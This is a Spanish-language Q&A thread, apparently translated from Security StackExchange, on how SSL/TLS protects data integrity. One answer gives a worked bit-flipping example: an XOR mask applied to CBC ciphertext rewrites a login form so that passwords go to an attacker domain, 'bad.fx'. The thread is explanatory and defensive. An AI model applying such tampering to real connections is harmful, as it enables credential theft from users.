¿Cómo protege SSL contra ataques de nivel de red en la integridad?

2

Me gustaría saber si hay alguna forma de demostrar cómo un atacante puede atacar la integridad de un sitio web debido a una conexión no cifrada y cómo SSL evitará esto.

Para el aspecto de la confidencialidad, el siguiente ejemplo explica: Cuando se realiza una conexión no cifrada a un sitio web, un atacante usa un rastreador de paquetes, como wireshark, para rastrear conexiones inalámbricas no cifradas y obtener contraseñas que se envían en el wifi no cifrado. Con SSL, los datos (y, por lo tanto, las contraseñas) se cifrarían.

¿Qué sería un ejemplo similar, pero para los datos integridad ?

    
pregunta user30849 15.09.2013 - 14:44
fuente

3 respuestas

2

Si no se mantiene la integridad, un atacante podría alterar las páginas web en tránsito y, por ejemplo, modificar el código Javascript contenido en estas páginas. El cifrado, por sí mismo, no evita alteraciones relativamente precisas, siempre que el atacante tenga alguna idea sobre qué son los datos cifrados. En la mayoría de los contextos web, el atacante también puede registrarse como un usuario normal, por lo que puede ver la estructura de las páginas web que obtienen los usuarios normales.

Cuando la conexión utiliza RC4 , se genera un flujo pseudoaleatorio dependiente de la clave y se XORea, poco a poco, con Los datos a cifrar. Por lo tanto, si el atacante "adivina" que un byte dado es el cifrado de una 'A' (código ASCII 0x41) y desea convertirlo en el cifrado de una 'm' (código ASCII 0x6D), entonces solo tiene que XOR el byte encriptado con 0x2C (que es el XOR de 0x41 con 0x6D) para obtener otro byte encriptado que, al descifrar, producirá una 'm' en lugar de una 'A'. Nada más sería impactado; Por lo tanto, con el cifrado RC4, las alteraciones quirúrgicas son fáciles.

Con un cifrado de bloque en modo CBC , las cosas son menos fáciles para el atacante , pero aún puede hacer algo malo: si quiere modificar un byte específico, puede hacerlo, pero esto dañará el bloque anterior. Específicamente, con un cifrado de bloque, los datos son una secuencia de bloques de 8 o 16 bytes (según el cifrado: 8 bytes para 3DES, 16 bytes para AES). El atacante puede modificar a voluntad un bloque, con precisión quirúrgica, siempre que conozca el valor inicial de ese bloque y no le importe cambiar el bloque anterior en una basura aleatoria incontrolable.

Tomemos un ejemplo. Supongamos que un sitio web tiene una página de inicio de sesión, con un formulario HTML, que tiene este aspecto:

<form action="https://www.example.com/authenticate.php">
Login: <input type="text" name="login" /><br />
Password: <input type="password" name="password" /></br />
<input type="submit" name="Submit" />
</form>

Sé que es feo; Es solo un ejemplo. Cuando el usuario hace clic en el botón "enviar", el navegador envía una solicitud POST a la página https://www.example.com/authenticate.php .

Ahora suponga que esta página está cifrada con CBC con 3DES (bloques de 8 bytes) y que el '.' de '.com' pasa a estar al comienzo de un bloque. El atacante puede luego XORAR los 8 bytes encriptados anteriores (los bytes correspondientes a .example ) con lo siguiente:

 00 01 0E 09 01 07 0D 5B

En el navegador de la víctima, el formulario se descifra como:

<form action="https://www########.bad.fx/henticate.php">
Login: <input type="text" name="login" /><br />
Password: <input type="password" name="password" /></br />
<input type="submit" name="Submit" />
</form>

Donde el "########" será algunos bytes aleatorios. Siempre que ninguno de ellos sea un cero o una comilla doble (las posibilidades de que esto suceda son bajas), entonces el navegador los considerará como parte de la URL de destino. El atacante controla el dominio bad.fx (el TLD "fx" no existe realmente; siéntase libre de reemplazarlo con su "TLD favorito para personas malvadas"); el DNS del atacante redirige alegremente todas las solicitudes de cualquier cosa .bad.fx a la dirección IP de su servidor; y el atacante compró (completamente legalmente) un certificado comodín para "* .bad.fx". Cuando el usuario ingresa su contraseña, su navegador se conecta al sitio web controlado por el atacante, hace el SSL, está perfectamente contento con el certificado del atacante (asumiendo que ninguno de los "#" es un punto; de nuevo, esto es probable), y envía la contraseña.

Afortunadamente , SSL incluye una fuerte protección de integridad, que evita tales ataques. Con cifrados de flujo como RC4 y cifrados de bloque en modo CBC, la protección de integridad utiliza HMAC ; las versiones más nuevas de TLS también pueden usar cifrados de bloque en el modo GCM , que integra una protección de integridad igualmente buena. Si el atacante intentó alguno de los trucos descritos anteriormente, el cliente (navegador web) detectaría la alteración y la protesta y se negaría a usar la página desencriptada. Consulte el estándar , sección 6.2.3.

    
respondido por el Tom Leek 15.09.2013 - 15:50
fuente
0

Escribí una publicación en el blog sobre la integridad de los datos y por qué cargar los formularios de inicio de sesión a través de HTTP y luego usar un POST a HTTPS es un riesgo de seguridad.

Cuando el formulario de inicio de sesión se carga a través de HTTP, es vulnerable a la modificación por parte de un hombre en el medio. En el ejemplo, muestro cómo puedo alterar la acción del formulario para robar las credenciales de un usuario y luego redirigirlas al sitio de destino. Debido a que el formulario se carga a través de HTTP, no puede estar seguro de la integridad del formulario.

No dudes en consultar mi blog: enlace

    
respondido por el Scott Helme 16.09.2013 - 09:13
fuente
0

Un ejemplo simple de integridad de datos sería que si un atacante puede interceptar sus datos (ataque MITM), él / ella podrá cambiarlos sobre la marcha y enviar datos alterados como si fueran de usted. digamos que está conectado a su banco y envía una solicitud para transferir cierta cantidad X a una cuenta Y. El atacante cambiaría el comando que envió (ataque a la integridad) y realizaría la transacción de la cantidad X a una cuenta diferente y no a la cuenta Y tenías la intención de hacerlo.

    
respondido por el AdnanG 16.09.2013 - 10:17
fuente

Lea otras preguntas en las etiquetas